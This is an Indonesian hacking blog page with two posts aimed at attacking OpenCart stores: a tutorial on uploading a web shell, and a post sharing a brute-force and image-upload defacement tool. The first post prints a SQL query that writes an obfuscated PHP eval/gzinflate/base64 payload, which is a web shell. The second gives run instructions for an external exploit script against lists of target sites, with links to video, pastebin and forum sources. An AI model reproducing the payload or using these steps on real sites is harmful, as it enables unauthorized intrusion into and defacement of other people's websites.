Upload shell di cms opencart

kali ini ane pengen bagiin tutor upload shell di website cms opencart.
work versi 2 keatas..

cari targetnya bisa pake bruteforce disini
http://blog.indoxploit.or.id/2016/06/deface-dengan-opencart-bruteforce-and.html

langsung aja ke videonya ..
https://www.youtube.com/watch?v=CA6BvEopCEo

a.sql

SELECT '<?php eval (gzinflate(base64_decode("bZBNasNADIX3hd5hGLqIoW4OUHvIpoVCIIV0F4KRbY09MD/C1gRC8d3rcWJooaCNvqenJ4RNH4TswDP6rqgHJV8fHzBB6qmKHhxushXJdcDozVP1eTh+Zd9Ls2sCXWf0/rF/O56klueTZEdVssvz81/hBrNkTVvnparGoYfR2GJbqzxX8uU/x5w7oR3xl6+DDmw6aFrqrgpxv1aHwQmH3Ie2pDCyQN/wlbB00bIhGHibRvIWGFRhPEUWi66NRZFSS73ypbvc5DHWzrAw7QwuYCOWkdT6m+kH"))); ?>' FROM `mouwaffek_table`

thx to spyhackerz.com

Read more

Deface dengan Opencart Bruteforce and Upload image

Kali ini ane pengen share tool bf + upload image di opencart.

referensi:
http://spyhackerz.com/forum/threads/thewayend-opencart-twe-gif-video.1392/

script:
http://pastebin.com/vGRNXUuc

usage:
php Xploit.php target.htm

target.htm
site1.com<br>site2.com<br>site3.com

untuk pengguna windows mungkin bisa install xampp, kemudian taruh script ini di \xampp\php\
dan juga targetnya.
abis itu jalanin pake cmd.

#Keepshare.

Read more